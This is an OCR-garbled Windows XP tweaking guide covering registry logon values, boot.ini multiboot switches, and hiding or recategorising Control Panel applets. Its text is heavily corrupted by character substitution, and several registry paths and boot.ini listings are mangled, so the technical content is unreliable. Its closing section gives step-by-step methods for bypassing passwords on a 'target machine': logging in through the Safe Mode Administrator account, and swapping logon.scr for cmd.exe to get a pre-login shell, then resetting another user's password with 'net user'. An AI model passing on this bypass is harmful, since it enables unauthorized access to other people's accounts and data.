CI. &ontrol User 7ogins by "acking the )egistry

$o control logon options! run the )egistry -ditor T"ack WICU and go to the "0-#@7/&A7@MA&"26-AS/8$ A)-AMicrosoftA indows 6$A&urrentFersion inlogon subkey! which contains a variety of logon settings *as well as some settings not having to do directly with logons+. 8ollowing are the most important values you can edit to customi<e logons. 5ont5isplay7astUser6ame $his setting lets you control how the system logon dialog bo. is used. 2f this String value is present and set to >! all users will have to enter both their username and password to log on. 2f the value is 0! the name of the last user to log on will be displayed in the system logon dialog bo.. 5efaultUser6ame $his String value contains the name of the last user who logged on. 2t will be displayed only if the 5ont5isplay7astUser6ame value is not present or is set to 0. 7egal6otice&aption and 7egal6otice$e.t;; Already discussed Password-.piry arning $his 5 /)5 value lets you display a warning message to users a certain number of days before their passwords are set to e.pire. 2t lets you determine how many days ahead of time the warning should be issued. $o edit the value! click the decimal button and enter the number of days. Shutdown ithout7ogon $his String value enables or disables a button on the XP logon dialog bo. that lets the system shut down. A value of > enables the button *so that it is shown+J a value of 0 disables the button *so that it is not shown+. Shell 2t determines the shellthe user interfacethat will be used by XP. $he default is -.plorer.e.e! but it can be another shell as wellfor e.ample! the Program Manager from older indows versions. $ype in the name of the programJ for e.ample! Progman.e.e for the Program Manager! or $askman.e.e for the $ask Manager. Auto)estartShell $his 5 /)5 value doesn3t have to do with logons either! but it3s another good one to

know. 2t sets whether to automatically restart the indows shell if the shell crashes. A value of > automatically restarts the shell. A value of 0 tells XP not to restart the shell! forcing you to log off and then back on again to restart it.

CK. &ustomi<e Multiboot Startup /ptions

-dit or create a startup menu that lets you choose which operating system to boot into in multiboot systems! or create a menu that lets you choose different startup options for your single operating system if you have only XP installed. 2f you3ve installed another operating system *in addition to XP+ on your system! your P& starts up with a multiboot menu! which allows you to choose the operating system you want to run. $he menu stays live for C0 seconds! and a screen countdown tells you how long you have to make a choice from the menu. After the C0 seconds elapse! it boots into your default operating system! which is generally the last operating system you installed. #ou can customi<e that multiboot menu and how your P& starts by editing the boot.ini file! a hidden system file! to control a variety of startup options! including how long to display the menu! which operating system should be the default! whether to use the XP splash screen when XP starts! and similar features. And as you3ll see later in this hack! you can also use the file to create a startup menu that will allow you to choose from different versions of your operating systemfor e.ample! one that you3ll use for tracking down startup problems! and another for starting in Safe Mode. $he boot.ini file is a plain9te.t file found in your root &1A folder. #ou might not be able to see it because it3s a system file! and if you can see it! you might not be able to edit it because it3s a read9only file. $o make it visible! launch indows -.plorer! choose Fiew$ools8older /ptions Fiew. Select the Show "idden 8iles and 8olders radio button. $o make it a file you can edit! right9click it in indows -.plorer! choose Properties! uncheck the )ead9/nly bo.! and click. $o edit the file! open it with a te.t editor such as 6otepad. 8ollowing is a typical boot.ini file for a P& that has two operating systems installed on it indows XP "ome -dition and indows B000 Professional1
$boot loader% timeout&30 default&multi'0(dis#'0(rdis#'0()artition'1(*+,-./+S $o)erating systems% multi'0(dis#'0(rdis#'0()artition'1(*+,-./+S&"0icrosoft +indows 1P 2ome 3dition" 4fastdetect multi'0(dis#'0(rdis#'0()artition'5(*+,--6&"+indows 5000 Professional" 4fastdetect As you can see! there are two sections in the file1 $bootloader% and $o)erating systems%. $o customi<e your menu and startup options! edit the entries in each

section. 4efore editing boot.ini! make a copy of it and save it under a different name *such as boot.ini.old+ so that you can revert to it if you cause problems when you edit the file. 8ollowing are details about how to edit the entries in each section1 Tboot loaderU $his section controls how the boot process worksJ it specifies the default operating system and how long a user has to make a selection from a boot menu! if a boot menu has been enabled. $he timeout value specifies! in seconds! how long to display the menu and wait for a selection before loading the default operating system. 2f you want a delay of >D seconds! for e.ample!

enter 17 for the value. Use a value of 0 if you want the default operating system to boot immediately. 2f you want the menu to be displayed indefinitely and stay on9screen until a selection is made! use a value of -1. $he default value specifies which entry in the $o)erating system% section is the default operating system. *$he default value is used even if there is only one operating system in the $o)erating system% section.+ $o change the default operating system! edit the setting! in our e.ample! to default&multi'0(dis#'0(rdis#'0()artition'5(*+,--6. So! in our e.ample! if you change the menu settings so that the screen appears for >0 seconds before loading the default operating system! and the default operating system is indows B000 Professional! the section reads1
$boot loader% timeout&10 default&multi'0(dis#'0(rdis#'0()artition'5(*+,--6

Toperating systemU $his section specifies which operating systems are present on the computer! and detailed options for each one. XP uses the Advanced )2S& &omputing *A)&+ path to specify the location of the boot partition. 2n our e.ample! the A)& path is1
multi'0(dis#'0(rdis#'0()artition'1(*+,-./+S

$he first parameter! which identifies the disk controller! should be 0. $he second parameter! the dis# parameter! should also be 0. $he rdis# parameter specifies the disk number on the controller that has the boot partition. $he numbers start at 0. So! if you have three hard disks installed and the second hard disk has the boot partition! the setting is rdis#'1(. $he )artition parameter identifies the partition number of the boot partition. Partitions start with the number 1. $he final section! which in our e.ample is *+,-./+S! specifies the path to the folder where the operating system is installed. $o the right of the A)& path in the e.ample is &"0icrosoft +indows 1P 2ome 3ditionL 4fastdetect. $he words within %uotes are what will appear on the boot menu ne.t to the entry. $o customi<e the te.t on the menu you can change these words to whatever you wishfor e.ample! LMy 8avorite /perating System.L $he 4fastdetect switch disables the detection of serial and parallel devices! which allows for faster booting. $he detection of these devices isn3t normally re%uired in XP because the functions are performed by Plug and Play drivers! so as a general rule it3s a good idea to use the 4fastdetect switch. $he 4fastdetect switch is only one of many switches that you can use in the boot.ini file to customi<e how the operating system loads. Switches for boot.ini Switch hat it does
489S3:,.3/

Starts XP using the standard F?A driver. 2t3s most useful if you can3t boot normally because of a video driver problem.
48//6;/<

7ogs information about the boot process to the ntbtlogl.t.t file in the &1A indows folder.
4CR9S2.38=<

7oads the debugger at boot! but the debugger remains inactive unless a crash occurs.

4.38=< 7oads the debugger at boot and runs it. 4>?.363C6 5isables the detection of serial and parallel devices. 0910301n Specifies the ma.imum amount of )AM that XP can use. 4-/<=,8//6 5oes not allow the XP splash screen to load during boot. 4-/.38=< Stops the debugger from loading. 4S9>38//61switch 8orces XP to boot into the safe mode specified by the switch parameter! which can be minimal! networ#! or minimal'alternate shell(. 2n minimal safe mode! only the

minimum set of drivers necessary to start XP are loaded. 2n networ# safe mode! networking drivers are loaded in addition to the minimum set of drivers. 2n minimal'alternate shell( the minimum set of drivers are loaded and XP boots into the command prompt.
4S/S

5isplays the name of each driver as it loads and gives descriptions of what is occurring during the boot process. 2t also offers other information! including the XP build number! the service pack number! the number of processors on the system! and the amount of installed memory. hen you3ve finished editing the boot.ini file! save it. $he ne.t time you start your computer! its settings will go into effect. 2n our e.ample! if we want the menu to appear for ED seconds! the default operating system to be indows B000! and the XP splash screen to be turned off when we choose to load XP! the boot.ini file should look like this1
$boot loader% timeout&@7 default&multi'0(dis#'0(rdis#'0()artition'5(*+,--6 $o)erating systems% multi'0(dis#'0(rdis#'0()artition'1(*+,-./+S&"0icrosoft +indows 1P 2ome 3dition" 4fastdetect 4noguiboot multi'0(dis#'0(rdis#'0()artition'5(*+,--6&"+indows 5000 Professional" 4fastdetect

&reate a Startup Menu -ven 2f #ou "ave /nly /ne /S

-ven if you have only one operating system! you can create a boot menu that will let you choose to load your operating system with different parameters. multi*0+disk*0+rdisk*0+partition*>+A 265/ SXL$race Problems XP "ome -ditionL ;fastdetect ;bootlog ;sos $his entry creates a startup log and displays information about the drivers and other operating system information as it loads. 8or the version of the operating system that loads in Safe Mode but that still allows networking! you could create this entry1 multi*0+disk*0+rdisk*0+partition*>+A 265/ SXLSafe Start XP "ome -ditionL ; fastdetect ;safeboot1network $he boot.ini file would look like this! assuming that you want the menu to display for C0 seconds and you want normal XP startup to be the default1

Tboot loaderU timeoutXC0 defaultXmulti*0+disk*0+rdisk*0+partition*>+A Toperating systemsU multi*0+disk*0+rdisk*0+partition*>+A 265/ -ditionL ;fastdetect multi*0+disk*0+rdisk*0+partition*>+A 265/ ;fastdetect ;bootlog ;sos multi*0+disk*0+rdisk*0+partition*>+A 265/ fastdetect ;safeboot1network

265/ S SXLMicrosoft indows XP "ome

SXL$race Problems XP "ome -ditionL SXLSafe Start XP "ome -ditionL ;

E0. &ontrol Panel1 "ide Unused Applets with the )egistry

$o hide unused applets using the )egistry! run the )egistry -ditorand go to
2A3 B;/C9;B09C2,-3*S/>6+9R3*0icrosoft*+indows*Current:ersion*Control Panel*don!t load.

$he key! as its name implies! determines which &ontrol Panel applet icons are not loaded into the &ontrol Panel. #ou3ll still be able to run those applets from the command line after you hide themJ you :ust won3t be able to see their icons in the &ontrol Panel. $o hide an applet! create a new String value whose name is the filename of the applet you want to hide. 8or e.ample! to hide the Mouse &ontrol dialog bo.! the String value would be main.cpl. Control Panel applets and their filenames Applet 8ilename System Properties sysdm.cpl 5isplay Properties desk.cpl 6etwork &onnections ncpa.cpl Accessibility /ptions access.cpl Control Panel applets and their filenames Applet 8ilename Add or )emove Programs appwi<.cpl Add "ardware i<ard hdwwi<.cpl 2nternet Properties 2netcpl.cpl )egion and 7anguage /ptions intl.cpl ?ame &ontrollers :oy.cpl Mouse Properties main.cpl Sound and Audio 5evices mmsys.cpl User Accounts nusrmgr.cpl /54& 5ata Source Administrator odbccpCB.cpl Power /ptions Properties Powercfg.cpl Phone and Modem /ptions telephon.cpl $ime and 5ate Properties timedate.cpl Speech Properties sapi.cpl &reate separate String values for each applet you want to hide! then e.it the )egistry. $he applets will vanish from the &ontrol Panel. $o make a hidden applet appear again! delete its string value from this same registry key.

E>. )ecategori<e &ontrol Panel Applets

#ou can also recategori<e applets and put them in any category you want. 8or e.ample! by default! the Mouse Properties applet can be found in the Printers and /ther "ardware category! but if you prefer that it instead be found in Accessibility /ptions! you can move it there. $o put an applet into any category you want! you need two pieces of information1 the filename of the applet *for e.ample! main.cpl for the Mouse Properties dialog bo.+! and the )egistry value for each &ontrol Panel category *for e.ample! 0x0000000C 'C( for Accessibility /ptions Control Panel categories and their Registry value data &ontrol panel category Falue data Accessibility /ptions 0x0000000C 'C( Add or )emove Programs 0x0000000D 'D( Appearance and $hemes 0x00000001 '1( 5ate! $ime! 7anguage! and )egional /ptions 0x0000000E 'E( 6etwork and 2nternet &onnections 0x00000003 '3( /ther &ontrol Panel /ptions 0x00000000 '0( Performance and Maintenance 0x00000007 '7( Printers and /ther "ardware 0x00000005 '5( Sounds! Speech! and Audio 5evices 0x0000000@ '@( User Accounts 0x0000000F 'F( 6o category 0xffffffff $o recategori<e a &ontrol Panel applet! run the )egistry -ditor and go to
2A3 B;/C9;B09C2,-3*S/>6+9R3*0icrosoft*+indows*Current:ersion*Control Panel*3xtended Pro)erties*G307C955E-.5DE-@EDe-8D@D-5853D3EFC8C@H5. $he key G307C955E-.5DE-@EDe-8D@D-5853D3EFC8C@H5 is the container that holds all

&ontrol Panel categories. 6ow find the )egistry key of the applet you want to recategori<e. $he filename of the applet will appear on the end of the keyJ for e.ample! ISystemRootI*system35*mainJc)l is the Mouse Properties dialog bo.. &hange the key3s .+/R. value to the value of the &ontrol Panel category into which you want the applet to appear. 8or e.ample! if you want the applet to appear in the Performance and Maintenance category! give it a value of 7. $he value will then be displayed in the )egistry as 0x00000007'7(. hen you3re done! e.it the )egistry. $he applet will now appear in the new category..

EB. 2s it a hack by any meansYZZ

5efenitely 6otM
hat we have discussed so far are not hacks by any means. $hey are :ust [tweaksS. $weaking is done to customi<e the system according to user preferences by over riding the default settings. $weaking will improve the system performance by many folds! provided that it is done in the right way. Most of the tweaks and tricks are performed in the following C areas. >.Start)un )egedit B. Start )unMsconfig C. Start )ungpedit.msc 2t is difficult for a newbie to understand the various keys and sub9keys in the registry

and a wrong move can have catastrophic effects. $he second one is way too simple and the options are limited. So 2 recommend the third area . ?roup Policy -ditor or gpedit.msc is a nice place for the newbies to learn and try their own tricks. $he main advantage is its simplicity. \ust click on the N signs to dive deep into it. -.planations are given along with each entry. )ead the e.planation and decide on the settings that needs to be set. 6othing much! you :ust need to enable or disable a setting. 2snSt it a simple thing to doZZ And trust me! it can even create wondersMM So go ahead and try it now itself. ?ood luck.

EC.

hat the heck is a hack then..ZZ

"acking is done to e.pose a security hole in a system. "acking is done to e.pose the holes in the armor so that system designers can patch it in their ne.t release. "acking if done with a malicious mind! then its crackingM &rackers are basically hackers with a malicious mind. $hey e.ploit the security holes to gain unauthori<ed access to a system. $hey often steal data like the credit card information from the victimSs computer and read their mails. Some crackers go beyond and often engage in destructive actions like creating viruses and worms. So the ne.t time when you say hacker;cracker! understand what they are. "ackers donSt like being greeted as crackers for the same reason that hackers are friendly and nice people. 2Sm giving you two e.amples below to understand how hacking differs from tweaking1

-g>1 "ack the XP Admin Passwords

hen you or anyone installs indows XP for the first time your asked to put in your username and up to five others. 6ow! unknownst to a lot of other people this is the only place in indows XP that you can password the default Administrator 5iagnostic Account. $his means that to by pass most administrators accounts on indows XP all you have to do is boot to safe mode by pressing 8I during boot up and choosing it. 7og into the Administrator Account and create your own or change the password on the current Account. $his only works if the user on setup specified a password for the Administrator Account.

-gB1"ack XP Password
2f you log into a limited account on your target machine and open up a dos prompt then enter this set of commands -.actly. 8orget about the e.planations as it is for the sake of clarity purpose &ommand -.palnation cdA ]drops to root cdAwindowsAsystemCB ]directs to the systemCB dir mkdir temphack ]creates the folder temphack copy logon.scr temphackAlogon.scr ]backsup logon.scr copy cmd.e.e temphackAcmd.e.e ]backsup cmd.e.e del logon.scr ]deletes original logon.scr rename cmd.e.e logon.scr ]renames cmd.e.e to logon.scr e.it ]%uits dos 6ow what you have :ust done is told the computer to backup the command program and the screen saver file! then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. /nce this

happens if you enter this command minus the %uotes Lnet user Oadmin account name hereP passwordL 2f the Administrator Account is called 8rank and you want the password blah enter this Lnet user 8rank blahL and this changes the password on franks machine to blah and you should be in.